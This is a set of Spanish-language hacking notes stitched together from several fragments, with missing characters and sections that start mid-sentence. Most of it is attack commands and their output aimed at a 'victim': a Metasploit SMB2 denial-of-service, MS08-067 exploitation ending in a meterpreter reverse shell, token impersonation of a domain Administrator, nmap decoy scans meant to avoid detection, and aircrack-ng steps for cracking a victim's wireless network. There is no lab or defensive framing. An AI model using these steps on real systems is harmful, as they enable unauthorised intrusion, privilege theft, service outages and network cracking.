Documentos de Académico
Documentos de Profesional
Documentos de Cultura
netbios-ssn abierto, si este es el caso, lo dems es coser y cantar. En la consola de metasploit, escribiremos el comando para usar el smb_negotiate_pidhigh : msf> use auxiliary/dos/windows/smb/smb2_negotiate_pidhigh A continuacin determinamos la IP de la victima con el comando set RHOST victima ip . ( en este caso utilizaremos una ip ficticia que sera 192.168.0.5 ) msf auxiliary(smb2_negotiate_pidhigh) > set RHOST 192.168.0.5 Despues le indicamos cual es el puerto que vamos a utilizar para el ataque, utilizan do el comando set RPORT en este caso sera el 445 msf auxiliary(smb2_negotiate_pidhigh) > set RPORT 445 Y por ultimo lanzamos el ataque con el comando run y a esperar a que se cuelgue el sistema. msf auxiliary(smb2_negotiate_pidhigh) > run
HAAAACCCKKKK XXXXPPPPP--se : Metasploit framework 3.6.0 1era paso : msf > use exploit/windows/smb/ms08_067_netapi 2do paso : msf > exploit(ms08_067_netapi) set rhost "ip victima" 3er paso : msf > exploit(ms08_067_netapi) set payload windows/vncinject/bind_tcp 4to paso : msf > exploit(ms08_067_netapi) exploit [*] Started bind handler....
INCOGNITO**** msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140 RHOST => 10.211.55.140 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162 LHOST => 10.211.55.162 msf exploit(ms08_067_netapi) > set LANG english LANG => english msf exploit(ms08_067_netapi) > show targets Exploit targets: Id -0 1 2 Name ---Automatic Targeting Windows 2000 Universal Windows XP SP0/SP1 Universal
3 4 5 6 7 8 9 10 11
Windows XP SP2 English (NX) Windows XP SP3 English (NX) Windows 2003 SP0 Universal Windows 2003 SP1 English (NO NX) Windows 2003 SP1 English (NX) Windows 2003 SP2 English (NO NX) Windows 2003 SP2 English (NX) Windows XP SP2 Arabic (NX) Windows XP SP2 Chinese - Traditional / Taiwan (NX)
msf exploit(ms08_067_netapi) > set TARGET 8 target => 8 msf exploit(ms08_067_netapi) > exploit [*] [*] [*] [*] [*] [*] [*] [*] [*] Handler binding to LHOST 0.0.0.0 Started reverse handler Triggering the vulnerability... Transmitting intermediate stager for over-sized stage...(191 bytes) Sending stage (2650 bytes) Sleeping before handling stage... Uploading DLL (75787 bytes)... Upload completed. Meterpreter session 1 opened (10.211.55.162:4444 -> 10.211.55.140:1028)
meterpreter > meterpreter > use incognito Loading extension incognito...success. meterpreter > help Incognito Commands ================== Command Description ----------------add_group_user Attempt to add a user to a global group with all tokens add_localgroup_user Attempt to add a user to a local group with all tokens add_user Attempt to add a user with all tokens impersonate_token Impersonate specified token list_tokens List tokens available under current user context snarf_hashes Snarf challenge/response hashes for every token meterpreter >
meterpreter > impersonate_token SNEAKS.IN\\Administrator [+] Delegation token available [+] Successfully impersonated user SNEAKS.IN\Administrator meterpreter > getuid Server username: SNEAKS.IN\Administrator meterpreter >
meterpreter > execute -f cmd.exe -i -t Process 3540 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>whoami whoami SNEAKS.IN\administrator C:\WINDOWS\system32>
sudo apt-get install python-qt4 python-mysqldb python-psycopg2 python-pymssql python-qscintilla2 svn checkout http://hexorbase.googlecode.com/svn/HexorBase/ hexorbase cd hexorbase
python execute.py
27/12/2010
Donde [direccin] es la IP del servidor/nodo o una subnet. -sS =escaneo TCP SYN (o escaneo sigiloso) -P0 =no se envan pings ICMP -sV =detecta las versiones -O =se intenta identificar el Sistema Operativo Otras opciones: -A =habilita OS fingerprinting y deteccin de versin -v =usar dos veces -v para obtener mas detalles
Nmap acepta una gran variedad de rangos, notacin de direcciones, objetivos mltiples, etc.
8.- Crear un seuelo durante el escaneo de puertos para evitar ser detectado:
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
Escanea los puertos del nodo 192.168.1.10 mientras spoofea la IP 192.168.0.2 como nodo atacante (esta IP debe estar activa) as parecer que el escaneo se ejecuta desde la IP 192.168.0.2 (la ip spoofeada). Comprobar los logs en /var/log/secure para comprobar si ha funcionado correctamente.
Este comando hace un reverse DNS lookup en una subred, se crea una lista con las direcciones IP de los registros PTR en la subred indicada. Se puede insertar la subred en notacin CDIR (ejemplo: /24 para la Clase C). Puedes agregar -dns-servers x.x.x.x despus del parmetro -sL si quieres realizar el listado sobre un servidor DNS especifico.
10.- Cuntos nodos con Linux y cuntos con Windows hay en una red:
sudo nmap -F -O 192.168.0.1-255 | grep Running: > /tmp/os; echo $(cat /tmp/os | grep Linux | wc -l) Linux device(s); echo $(cat /tmp/os | grep Windows | wc -l) Window(s) devices
AIRCRACK****************************
sudo airmon-ng start wlan0 sudo airodump-ng mon0 sudo airodump-ng -c "channel" -w "nombre del archivo que guarda" mon0 sudo aireplay-ng --fakeauth "channel" -a "mac de victima" mon0 sudo aireplay-ng --caffe-latte -b "mac de victima" mon0 sudo aireplay-ng --arpreplay -b "mac de victima" mon0 sudo aircrack-ng "nombre de archivo en airodump"